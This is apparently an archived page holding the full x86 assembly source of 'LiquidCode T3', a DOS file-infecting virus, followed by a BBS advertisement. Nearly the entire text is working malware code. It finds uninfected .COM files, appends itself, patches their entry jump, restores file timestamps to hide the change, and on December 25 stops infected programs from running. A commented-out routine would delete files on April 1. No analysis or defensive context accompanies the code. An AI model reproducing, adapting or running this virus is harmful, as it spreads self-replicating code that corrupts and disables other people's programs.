home *** CD-ROM | disk | FTP | other *** search
- ;LiquidCode --- T3
- ;
- ; Virus
- ;This version:
- ;Searches current directory for non-infected com files, if any found
- ;it will become infected!
- ;This virus has a routine which self-destructs itself and uninfects
- ;the file.
- assume cs:code
- .286
- code segment "code"
- org 0100h
- start proc
- jmp v_start ;first 5 bytes |
- nop ; |
- nop ; |
- v_start:
- call $+3 ;Actual virus
- pop dx
- sub dx, 3
- push dx ;save relocation factor in BP
- pop bp ;so virus can be copied anywhere twoards
- mov si, dx ;the end of the file
- ;
- ; Replace first 5 bytes in memory with original
- ; program code so normal program can run later
- add si, first_five
- mov di, 0100h
- mov cx, 5
- lodsb
- stosb
- loop $-2
- ;see if user want to disinfect this file
- ; mov si, 82h
- ; lodsb
- ; cmp al, "[" ;is al the code to disinfect? "["
- ; jne ok_dont_disinfect
- ; jmp self_kill
- ok_dont_disinfect:
- ;here should be date checks to see
- ;if an evil function should be unleashed!!
- mov ah, 2ah
- int 21h
- ;cx year 1980-2099
- ;dh month 1-12
- ;dl day
- ;al day of week 0=sun 1=mon -> 7=sat
- cmp dh, 12
- jne notdec
- cmp dl, 25
- jne notdec
- jmp christmas
- notdec:
- cmp dh, 4
- jne notapril
- cmp dl, 1
- jne notapril
- ; jmp aprilfools
- notapril:
-
- ;Set the DTA
- call set_dta
- ;find first file to ?infect?
- call find_first_file
- go_again:
- mov si, bp
- add si, size_
- lodsw
- cmp ax, 5
- ja gd4
- jmp resrch
- gd4:
- call open_file
- mov bx, ax
- mov al, 0
- call date_time
- mov ah, 3fh
- mov cx, 5
- mov dx, bp
- add dx, first_five
- int 21h
- ;**** mov ax, 4202h
- mov cx, 0
- mov ax, 4202h
- mov dx, cx
- int 21h
- sub ax, 3
- mov si, bp
- add si, new_5
- mov [si+1], ax
- mov si, bp
- mov di, si
- add si, chkmark
- add di, mark
- mov cx, 2
- repe cmpsb
- jne INFECT
- ;File found was previously infected!
- ; search for new one now.
- jmp resrch
-
- wipe_name:
- push di
- push ax
- push cx
- mov di, bp
- add di, name_
- mov cx, 13
- mov al, 0
- rep stosb
- pop cx
- pop ax
- pop di
- ret
- resrch:
- call wipe_name
- mov ah, 4fh
- int 21h
- jnc gd3
- jmp term_virus
- gd3:
- jmp go_again
- INFECT:
- ;Time to infect the file!!
- mov si, bp
- add si, handle
- mov bx, [si]
- mov cx, vsize
- mov dx, bp
- call wipe_name
- mov ax, 4000h
- int 21h
- mov ax, 4200h
- mov cx, 0
- mov dx, cx
- int 21h
- mov dx, bp
- add dx, new_5
- mov ax, 4000h
- mov cx, 5
- int 21h
- mov al, 1
- call date_time
- mov ax, 3e00h
- int 21h
- jmp resrch
-
- fndnam proc
- mov si, env
- mov ax, [si]
- mov es, ax
- mov ds, ax
- mov si, 0
- mov di, si
- __lp:
- lodsb
- cmp al, 0
- je chknxt
- stosb
- jmp __lp
- chknxt:
- stosb
- lodsb
- cmp al, 0
- je fnd1
- stosb
- jmp __lp
- fnd1:
- stosb
- __lp2:
- lodsb
- cmp al, "a"
- jae ff_
- up2:
- cmp al, "A"
- jae fff_
- up3:
- stosb
- jmp __lp2
- ff_:
- cmp al,"z"
- jbe fnd
- jmp up2
- fff_:
- cmp al, "Z"
- jbe fnd
- jmp up3
- fnd:
- mov si, di
- mov al, 0
- repne scasb
- mov dx, si
- mov di, dx
- ret
- env equ 2ch
- fndnam endp
-
-
- self_kill:
- ;this procedure disinfects specified files
- ;SI points to the name of current file on disk
- ;which is infected
- call fndnam ;find name of current file from env block in memory
- jmp gd__
- abrt:
- int 20h
- gd__:
- mov ax, 3d02h
- int 21h
- jc abrt
- mov bx, ax
- mov ax, cs
- mov ds, ax
- mov es, ax
- mov cx, 5
- mov dx, bp
- add dx, first_five
- call wipe_name
- mov ax, 4000h
- int 21h
- jc abrt
- mov dx, 0
- mov cx, 0
- mov ax, 4202h
- int 21h
- jnc gd__1
- jmp abrt
- gd__1:
- sub ax, vsize
- mov dx, ax
- mov cx, 0
- mov ax, 4200h
- int 21h
- call wipe_name
- mov cx, 0
- mov ax, 4000h
- int 21h
- mov ax, 3e00h
- int 21h
- jmp term_virus
- date_time:
- pusha
- mov ah, 57h
- cmp al, 0
- je fnd__$
- mov di, bp
- mov si, di
- add di, date
- add si, time
- mov dx, [di]
- mov cx, [si]
- int 21h
- jmp ret__
- fnd__$:
- int 21h
- mov si, bp
- mov di, bp
- add si, time
- add di, date
- mov [si], cx
- mov [di], dx
- ret__:
- popa
- ret
- open_file:
- mov dx, bp
- add dx, name_
- mov ax, 3d02h
- int 21h
- jnc gd2
- jmp term_virus
- gd2:
- mov si, bp
- add si, handle
- mov [si], ax
- ret
- find_first_file:
- mov dx, bp
- mov cx, 0
- mov ah, 4eh
- add dx, all_com_files
- int 21h
- jnc gd1
- jmp term_virus
- gd1:
- ret
- set_dta:
- mov dx, bp
- mov ah, 1ah
- add dx, dta
- int 21h
- ret
- term_virus:
- mov ax, 0
- mov bx, ax
- mov cx, bx
- mov dx, cx
- mov si, 0100h
- mov di, -1
- mov bp, di
- push 0100h
- ret
-
- CHRISTMAS:
- ;Program Lockup
- ; Exit without running program
- int 20h
- ;APRILFOOLS:
- ;Ha Ha delete current file
- ; call fndnam
- ; mov ah, 41h
- ; int 21h
- ; mov ax, cs
- ; mov ds, ax
- ; mov es, ax
- ; jmp term_virus
- ; Data Bank
- _fstfive:
- int 20h
- nop
- ckmrk:
- nop
- nop
- acf db "*.COM",0
- dt_ dw 0
- tme dw 0
- d_t_a:
- rfd db 21 dup (0)
- att db 0
- dw 0
- dw 0
- sz dd 0
- n_me db 13 dup (0),0
- handl dw 0
- nw_5 db 0e9h,0,0
- mrk db "<T3> "
- strain db "<tm>LiquidCode 92"
- ;
- end___:
- first_five = offset _fstfive-0105h
- all_com_files = offset acf-0105h
- dta = offset d_t_a-0105h
- attribute = offset att-0105h
- time = offset tme-0105h
- date = offset dt_-0105h
- size_ = offset sz-0105h
- name_ = offset n_me-0105h
- handle = offset handl-0105h
- new_5 = offset nw_5-0105h
- mark = offset mrk-0105h
- chkmark = offset ckmrk-0105h
- vsize = offset end___-0105h
- start endp
- code ends
- end start
-
- ; ─────────────────────────────────────────────────────────────────────────
- ; ────────────────────> and Remember Don't Forget to Call <────────────────
- ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
- ; ─────────────────────────────────────────────────────────────────────────
-
-